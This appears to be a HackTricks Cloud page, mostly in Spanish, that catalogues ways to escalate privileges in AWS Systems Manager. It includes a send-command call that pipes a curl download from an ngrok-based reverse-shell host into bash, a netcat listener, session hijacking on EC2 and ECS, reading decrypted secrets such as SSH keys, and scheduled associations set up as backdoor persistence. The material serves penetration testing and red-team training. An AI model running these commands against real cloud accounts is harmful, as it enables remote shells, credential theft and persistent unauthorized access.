AWS - SSM Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
SSM
Para más información sobre SSM consulta:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Un atacante con el permiso ssm:SendCommand puede ejecutar comandos en instancias donde se ejecuta el Amazon SSM Agent y comprometer el IAM Role que se ejecuta en ellas.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Si estás usando esta técnica para escalate privileges dentro de una instancia EC2 ya comprometida, puedes simplemente capturar el rev shell localmente con:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Impacto potencial: Privesc directo a los EC2 IAM roles adjuntos a instancias en ejecución con SSM Agents.
ssm:StartSession
Un atacante con el permiso ssm:StartSession puede iniciar una sesión tipo SSH en instancias que ejecutan el Amazon SSM Agent y comprometer el IAM Role que corre dentro de la instancia.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
Para iniciar una sesión necesitas el SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: Privesc directo a los EC2 IAM roles asociados a instancias en ejecución con SSM Agents.
Privesc a ECS
When ECS tasks run with ExecuteCommand enabled users with enough permissions can use ecs execute-command to execute a command inside the container.
According to the documentation this is done by creating a secure channel between the device you use to initiate the “exec“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesario para que esto funcione)
Therefore, users with ssm:StartSession will be able to get a shell inside ECS tasks with that option enabled just running:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Impacto potencial: Privesc directo a los roles IAM de ECS adjuntos a tareas en ejecución con ExecuteCommand habilitado.
ssm:ResumeSession
Un atacante con el permiso ssm:ResumeSession puede re-iniciar una sesión tipo SSH en instancias que ejecutan el Amazon SSM Agent con un estado de sesión SSM desconectado y comprometer el IAM Role que se ejecuta dentro de la misma.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Impacto potencial: Privesc directo a los EC2 IAM roles adjuntos a instancias en ejecución con SSM Agents activos y sesiones desconectadas.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Un atacante con los permisos mencionados podrá listar los SSM parameters y leerlos en texto claro. En estos parámetros con frecuencia se puede encontrar información sensible como SSH keys o API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Impacto potencial: Encontrar información sensible dentro de los parámetros.
ssm:ListCommands
Un atacante con este permiso puede listar todos los comandos enviados y, con suerte, encontrar información sensible en ellos.
aws ssm list-commands
Impacto Potencial: Encontrar información sensible dentro de las líneas de comando.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Un atacante con estos permisos puede listar todos los comandos enviados y leer la salida generada, con la esperanza de encontrar información sensible en ella.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Impacto potencial: Encontrar información sensible en la salida de los comandos.
Usando ssm:CreateAssociation
Un atacante con el permiso ssm:CreateAssociation puede crear una State Manager Association para ejecutar automáticamente comandos en instancias EC2 gestionadas por SSM. Estas State Manager Associations pueden configurarse para ejecutarse a intervalos fijos, lo que las hace adecuadas para persistencia tipo backdoor sin sesiones interactivas.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Este método de persistencia funciona siempre que la instancia EC2 esté gestionada por Systems Manager, el agente SSM esté en ejecución y el atacante tenga permiso para crear asociaciones. No requiere sesiones interactivas ni permisos explícitos ssm:SendCommand. Importante: El parámetro
--schedule-expression(por ejemplo,rate(30 minutes)) debe respetar el intervalo mínimo de AWS de 30 minutos. Para una ejecución inmediata o única, omite--schedule-expressionpor completo — la asociación se ejecutará una vez después de la creación.
Codebuild
También puedes usar SSM para acceder a un proyecto de codebuild que se está construyendo:
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

